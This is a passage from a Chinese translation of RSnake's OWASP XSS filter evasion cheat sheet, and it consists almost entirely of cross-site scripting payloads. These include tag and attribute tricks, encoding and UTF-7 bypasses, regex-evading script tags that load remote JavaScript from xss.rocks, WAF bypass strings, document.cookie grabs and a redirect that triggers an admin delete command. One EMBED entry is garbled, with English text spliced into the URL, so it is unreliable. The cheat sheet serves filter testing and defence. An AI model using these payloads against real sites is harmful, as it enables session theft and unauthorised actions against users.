xss:ex/*XSS*//*/*/pression(alert("XSS"))'>

利用<STYLE>標籤(僅限於老版本Netscape)

<STYLE TYPE="text/javascript">alert('XSS');</STYLE>

利用<style>標籤的background-image屬性進行XSS

<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A class="XSS"></A>

利用<style>標籤的background屬性進行XSS

<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>

利用具備style屬性的匿名的HTML標籤進行XSS

IE渲染引擎模式中IE6.0和Netscape8.1+並不關係你建立的html標籤是否存在,只要它是以<>全開括號和字母開頭就行;

<XSS STYLE="xss:expression(alert('XSS'))">

利用本地HTC文件進行XSS

這跟上述兩個XSSpayload有點不一樣,由於它使用的.htc文件必須與XSS payload在同一域內.示例文件經過寫入Javascript並利用style屬性來運行;

<XSS STYLE="behavior: url(xss.htc);">

US-ASCII編碼

US-ASCII編碼(因爲Kurt Huwig發現).這裏使用7位代替8位,該XSS payload能夠繞過不少基於內容檢測的過濾器,但僅限於主機上使用US-ASCII編碼傳輸或者你設置爲此編碼時才起做用.這對於WEB應用防火牆XSS過濾比對服務器端過濾繞過更有用.已知Apache Tomcat目前惟一以US-ASCII編碼傳輸的服務器.

¼script¾alert(¢XSS¢)¼/script¾

利用< META >標籤進行XSS

利用<META>奇怪之處在於它不會在http頭中發送引用referrer,所以它能夠用用於某些類型攻擊,你須要避免引入URL:

<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">

利用<META>標籤的content屬性進行XSS

這種方案其實很不錯,由於他沒有任何明顯的script或者Javascript指令,由於它使用base64編碼.具體請參考RFC 2397瞭解更多詳情,或者訪問此處XSS編碼器對你的XSSpaylod進行base64編碼.

<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">

利用<META>標籤的帶URL參數進行XSS繞過

若是目標網站嘗試檢查URL是否包含http://,那麼你可使用如下payload來繞過它.( 因爲Moritz Naumann提出);

<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">

利用<IFRAME>標籤進行XSS

若是目標網站容許<IFRAME>,那麼會產生不少XSS問題.

<IFRAME SRC="javascript:alert('XSS');"></IFRAME>

利用事件觸發<IFRAME>標籤的XSS

Iframes還有大多數其餘元素可使用像一下基於事件來進行混淆(因爲David Cross提交.)

<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>

利用<FRAME>進行XSS

<FRAME>與<IFRAME>存在相同的問題.

<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>

利用<TABLE>標籤進行XSS

<TABLE BACKGROUND="javascript:alert('XSS')">

利用<TD>標籤進行XSS

如圖上面所述,<TD>也容易受到包含Javascript的XSS payload攻擊.

<TABLE><TD BACKGROUND="javascript:alert('XSS')">

利用<DIV>標籤

在DIV中使用background-image屬性完成XSS

<DIV STYLE="background-image: url(javascript:alert('XSS'))">

使用background-image屬性配合unicoded編碼完成XSS

這只是稍微修改去混淆下URL參數.它最先被Renaud Lifchitz發現用於攻擊hotmaill;

<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">

使用background-image屬性加上額外字符完成XSS

Rnaske創建了一個快速的XSS Fuzzer來檢測半開擴號後容許的字符,但在安全的站點模式下IE和Netscape8.1中Javascript命令以前.這些都是十進制的,但固然能夠利用十六進制進行填充.(可使用如下任意字符: 1-32, 34, 39, 160, 8192-8.13, 12288, 65279)

<DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))">

利用DIV表達式完成XSS

這個payload稍微修改下在冒號和」 expression」中間加入一個換行符,能夠很是有效繞過真實的XSS防禦.

<DIV STYLE="width: expression(alert('XSS'));">

利用IE註釋塊進行XSS繞過

盡在IE5.0及以上版本和使用IE渲染引擎模式的Netscape下有效.一些網站認爲在註釋內的內容是安全的,所以不須要移除.或者系統可以在頁面某些部分添加註釋標籤,從而讓它們失去有害性.如咱們所知,這些操做(把內容註釋掉的操做)多是於事無補的:

<!--[if gte IE 4]>

 

<SCRIPT>alert('XSS');</SCRIPT>

<![endif]-->

利用<BASE>標籤進行XSS

這在IE和Netscape8.1的安全模式下能起做用.你須要使用//註釋掉下一個字符,避免JavaScript錯誤,從而讓咱們的XSS攻擊向量正常執行.這也依賴於一個條件:網站圖像使用相對地址如"images/image.jpg」,而非絕對地址.若是地址中包含了斜槓("/images/image.jpg」),你能夠在XSS payload移除一個:

<BASE HREF="javascript:alert('XSS');//">

利用<OBJECT>標籤進行XSS

若是頁面容許<OBJECT>標籤,你甚至能夠在頁面掛馬.下面連接指向的文件是一個能夠包含你的XSS payload的HTML文件;

<OBJECT TYPE="text/x-scriptlet" DATA="http://xss.rocks/scriptlet.html"></OBJECT>

使用<EMBED>標籤嵌入一個包含XSS的Flash動畫

若是你添加allowScriptAccess=「never"和allownetworking="internal」屬性,能夠減輕這種風險(感謝Jonathan Vanasco提供信息);

EMBED SRC="http://ha.ckers.Using an EMBED tag you can embed a Flash movie that contains XSS. Click here for a demo. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info).:

 

org/xss.swf" AllowScriptAccess="always"></EMBED>

你能夠嵌入包含XSS payload的SVG

這個例子只在Firefox下有效,但它比上面的攻擊向量要好一些,由於這不須要用戶安裝或開啓Flash(感謝nEUrOO提供):

<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>

使用ActionScript來混淆你的XSS payload

a="get";

 

b="URL(\"";

c="javascript:";

d="alert('XSS');\")";

eval(a+b+c+d);

利用XML數據與CDATA區段混淆進行XSS

這個XSS payload僅限於IE和Netscape8.1中的IE渲染引擎中工做(因爲Sec Consult在對yahoo進行審計時候發現這個payload)

<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML>

 

<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>

利用XML的embedded方法在本地XML中嵌入Javascript

這與上述相同,在本地託管(必須在同一臺服務器上)包含你的XSS payload的XML文件.具體看示例;

<XML SRC="xsstest.xml" ID=I></XML>

 

<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>

利用XML中加入HTML+Time元素完成XSS

這就是Grey Magic攻擊hotmail和yahoo!的方法,這僅限於IE和Netscape8.1中使用,並記住,須要在HTML和<BODY>標籤之間使用;

<HTML><BODY>

 

<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">

<?import namespace="t" implementation="#default#time2">

<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>">

</BODY></HTML>

經過簡單修改字符去繞過過濾器對」.js」的過濾

能夠將XSS payload的Javascript文件重命名爲圖片文件命名規則.

<SCRIPT SRC="http://xss.rocks/xss.jpg"></SCRIPT>

SSI(服務端包含)進行XSS

這須要在服務器上安裝SSI,這樣才能使用這個XSS payload.可能不須要說起這一種攻擊方法,若是攻擊者能夠在服務器上執行命令,那麼這個安全問題就更嚴重了.

<!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://xss.rocks/xss.js></SCRIPT>'"-->

利用PHP完成XSS

須要在服務器上安裝php才能使用XSS payload.再次提醒下,若是你能夠像這樣遠程運行任意腳本,那麼可能有更多可怕的安全問題;

<? echo('<SCR)';

 

echo('IPT>alert("XSS")</SCRIPT>'); ?>

利用IMG標籤嵌入命令執行XSS

它是須要用戶認證後才能夠執行命令的當前域頁面。它將能夠用於建立或者刪除用戶(若是訪問者是管理員),或是在其餘地方發送憑證等等,雖然較少被使用,但很是有效的。

譯者注:能夠理解爲相似CSRF那種操做.

<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">

利用IMG標籤嵌入命令執行XSS part II

這是一種更加可怕地攻擊,由於沒有看起來能夠區別的標示符,並且它也不用放在被攻擊者網站上.攻擊向量使用302或304來跳轉圖片到一個命令地址.一個正常的<IMG SRC="httx://badguy.com/a.jpg">可以成爲一個攻擊工具,來執行相應的攻擊命令.下面一個在Apache上的用來進行攻擊的.htaccess文件的內容(感謝Timo提供)::

Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser

Cookie篡改

我認可這是一種很隱蔽的攻擊方式,但我曾經見過一些示例:頁面容許<META>標籤,你能夠用它來覆蓋cookie.還有一些其餘的示例:頁面不是從數據庫中取用戶名,而是從cookie中讀取.這兩個場景相結合的狀況下,你能夠修改受害者的cookie,讓你的XSS payload能夠在頁面上執行(一樣你能夠用它來改變用戶狀態,讓它們以你的身份登陸等):

<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">

利用UTF-7編碼進行XSS

若是頁面存在XSS而且沒有提供頁面編碼或者瀏覽器設置爲UTF-7編碼,頁面就能遭到這種攻擊(感謝Roman Ivanov).在現代瀏覽器中,除非修改編碼類型,不然這種攻擊是不會產生的(Watchfire在google的404腳本中發現了這個漏洞)

<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-

使用HTML引用封裝進行XSS

這個在IE測試過,視狀況而定.對於容許」<script>」標籤,但不容許經過」<SCRIPT SRC...」(正則表達式爲:」/<script[^>]+src/I」),這種狀況就能夠考慮下此payload;

<SCRIPT a=">" SRC="httx://xss.rocks/xss.js"></SCRIPT>

對於容許」<script>」標籤,但不容許」<script src …>」站點上執行XSS payload正則表達式爲

」 /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i」,(這個很重要,由於這種正則匹配很常見.)

<SCRIPT =">" SRC="httx://xss.rocks/xss.js"></SCRIPT>

另一個繞過相似這種正則過濾繞過,XSS payload.

(」 /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i」)

<SCRIPT a=">" '' SRC="httx://xss.rocks/xss.js"></SCRIPT>

最後一種繞過這種正則過濾,XSS payload,使用重音符(它沒法在firefox下使用).正則表達式爲:

「/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i」;

<SCRIPT a=> SRC="httx://xss.rocks/xss.js"></SCRIPT>

這個XSS paylodad,會引發正則表達式不會匹配引號,同時發現會引發不正確的終止字符串.

<SCRIPT a=">'>" SRC="httx://xss.rocks/xss.js"></SCRIPT>

一個使人擔心的XSS payload

這種XSS payload讓我很擔心,由於它幾乎沒法防護,除非禁用全部動態內容.

<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="httx://xss.rocks/xss.js"></SCRIPT>

URL字符串繞過

假定頁面不容許出現http://www.google.com/;

利用IP代替域名

<A HREF="http://66.102.7.147/">XSS</A>

利用URL編碼

<A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>

利用雙字節編碼

(注意:還有其餘雙字節編碼方式,具體能夠經過後面的IP混淆計算器來獲取更多信息)

<A HREF="http://1113982867/">XSS</A>

利用十六進制編碼

你能夠在第2個數字看出來,每一個數字容許的總大小在240以內.16進制的值是介於0~F之間的.從第3個數字看,前導0的也是不須要的:

<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>

利用八進制編碼

你能夠填充0,可是要保證每一個「數字」都不小於4個字符:

<A HREF="http://0102.0146.0007.00000223/">XSS</A>

利用混合編碼

咱們混合並匹配基本編碼,添加一些製表符和換行符.這些符號須要包含在引號內才起做用.

<A HREF="h

 

tt p://6 6.000146.0x7.147/">XSS</A>

利用協議解析繞過

(//轉換爲http://能節省一些字符).當空間成爲問題時,這是很是方便的方法.也能繞過相似於"(ht|f)tp(s)?://「的正則(感謝Ozh的提供).你能夠將"//「改成"\」.你須要保證斜槓在準確的位置,不然有可能被當成一個相對路徑.

<A HREF="//www.google.com/">XSS</A>

利用Google」手氣不錯」 part 1

Firefox使用Google的手氣不錯功能來根據用戶鍵入的關鍵字跳轉到對應的網站.若是你的攻擊頁面在一些隨機關鍵詞的頂部,你可使用這個特性來攻擊Firefox用戶.這利用了Firefox的「keyword:」協議.你能夠經過使用若干關鍵詞來達到目的:"keyword:XSS+RSnake」,這在Firefox2.0版本再也不有效.

<A HREF="//google">XSS</A>

利用Google」手氣不錯」 part 2

這裏使用了一個只有Firefox支持的小竅門.由於它是基於手氣不錯功能開發的.這個不支持opera,由於opera認爲這是一個利用HTTP基本認證的網絡釣魚攻擊.事實上它僅僅是一個畸形的URL.若是你單擊這個連接的話,它就會產生做用.不過這個特性在Firefox2.0以後的版本也不支持了:

<A HREF="http://ha.ckers.org@google">XSS</A>

利用Google」手氣不錯」 part 3

這是一個畸形的Url,只能在Firefox和Opera中起做用.由於它們是基於手氣不錯功能實現的, 像上面的例子同樣,它們須要你的網站在谷歌搜索中排名第一(例如google):

<A HREF="http://google:ha.ckers.org">XSS</A>

利用刪除cnames

結合上面的URL,移除www能節省4個字節:

<A HREF="http://google.com/">XSS</A>

利用額外點繞過

<A HREF="http://www.google.com./">XSS</A>

利用Javascript連接地址

<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>

利用內容替換的payload

假定"http://www.google.com/「被過濾器以編程方式被替換爲空.我會使用相似的攻擊向量借用過濾器的轉換來繞過XSS過濾器從而建立攻擊向量.下面是一個幫助建立攻擊向量的例子(IE: "java&#x09;script:」被轉換爲"java script:」,這在IE、安全模式下的Netscape 8.1+和Opera是有效的);

<A HREF="http://www.gohttp://www.google.com/ogle.com/">XSS</A>

 

字符轉義表

下面是<字符在HTML和Javascript中全部組合.大多數不會被瀏覽器直接執行.可是在不少可以在上述某些特定狀況下使用.

<

 

%3C

&lt

&lt;

&LT

&LT;

&#60

&#060

&#0060

&#00060

&#000060

&#0000060

&#60;

&#060;

&#0060;

&#00060;

&#000060;

&#0000060;

&#x3c

&#x03c

&#x003c

&#x0003c

&#x00003c

&#x000003c

&#x3c;

&#x03c;

&#x003c;

&#x0003c;

&#x00003c;

&#x000003c;

&#X3c

&#X03c

&#X003c

&#X0003c

&#X00003c

&#X000003c

&#X3c;

&#X03c;

&#X003c;

&#X0003c;

&#X00003c;

&#X000003c;

&#x3C

&#x03C

&#x003C

&#x0003C

&#x00003C

&#x000003C

&#x3C;

&#x03C;

&#x003C;

&#x0003C;

&#x00003C;

&#x000003C;

&#X3C

&#X03C

&#X003C

&#X0003C

&#X00003C

&#X000003C

&#X3C;

&#X03C;

&#X003C;

&#X0003C;

&#X00003C;

&#X000003C;

\x3c

\x3C

\u003c

\u003C

 

針對跨站腳本攻擊-繞過WAF的方法

通常問題

  • 存儲型XSS

若是攻擊者繞過過濾器發起XSS攻擊,WAF將沒法防護攻擊

  • 反射型XSS
Example: <script> ... setTimeout(\"writetitle()\",$_GET[xss]) ... </script>

 

Exploitation: /?xss=500); alert(document.cookie);//

基於DOM型XSS

Example: <script> ... eval($_GET[xss]); ... </script>

 

Exploitation: /?xss=document.cookie

XSS請求重定向

容易受攻擊代碼:

...

 

header('Refresh: 0; URL='.$_GET['param']);

...

  • 此請求WAF將會被攔截
/?param=javascript:alert(document.cookie)
  • 利用編碼將繞過WAF,並會在某些瀏覽器中執行XSS paylod.
/?param=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=

針對XSS bypass WAF的字符串

<Img src = x onerror = "javascript: window.onerror = alert; throw XSS">

 

<Video> <source onerror = "javascript: alert (XSS)">

<Input value = "XSS" type = text>

<applet code="javascript:confirm(document.cookie);">

<isindex x="javascript:" onmouseover="alert(XSS)">

"></SCRIPT>」>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

"><img src="x:x" onerror="alert(XSS)">

"><iframe src="javascript:alert(XSS)">

<object data="javascript:alert(XSS)">

<isindex type=image src=1 onerror=alert(XSS)>

<img src=x:alert(alt) onerror=eval(src) alt=0>

<img src="x:gif" onerror="window['al\u0065rt'](0)"></img>

<iframe/src="data:text/html,<svg onload=alert(1)>">

<meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert(1)" http-equiv="refresh"/>

<svg><script xlink:href=data&colon;,window.open('https://www.google.com/')></script

<meta http-equiv="refresh" content="0;url=javascript:confirm(1)">

<iframe src=javascript&colon;alert&lpar;document&period;location&rpar;>

<form><a href="javascript:\u0061lert(1)">X

</script><img/*%00/src="worksinchrome&colon;prompt(1)"/%00*/onerror='eval(src)'>

<style>//*{x:expression(alert(/xss/))}//<style></style>

On Mouse Over​

<img src="/" =_=" title="onerror='prompt(1)'">

<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script:&#97lert(1)>ClickMe

<script x> alert(1) </script 1=2

<form><button formaction=javascript&colon;alert(1)>CLICKME

<input/onmouseover="javaSCRIPT&colon;confirm&lpar;1&rpar;"

<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>

利用混淆繞過過濾器

(alert)(1)

 

a=alert,a(1)

[1].find(alert)

top[「al」+」ert」](1)

top[/al/.source+/ert/.source](1)

al\u0065rt(1)

top[‘al\145rt’](1)

top[‘al\x65rt’](1)

top[8680439..toString(30)](1)

做者和主編

Robert "RSnake" Hansen

貢獻者

Adam Lange

Mishra Dhiraj其餘備忘錄

就不同介紹了,詳情請訪問

https://www.owasp.org/index.php/OWASP_Cheat_Sheet_Series

  1. XSS過濾繞過備忘單-http://cheatsheets.hackdig.com/?4.htm 
  2. 重音符位於美式鍵盤TAB鍵上面那個鍵位,英文中俗稱」 Grave accent」鍵. 
  3. 不止有TAB,並且空格鍵也能夠,而且能夠利用兩個空格來代替一個空格進行繞過測試. 
相關文章
相關標籤/搜索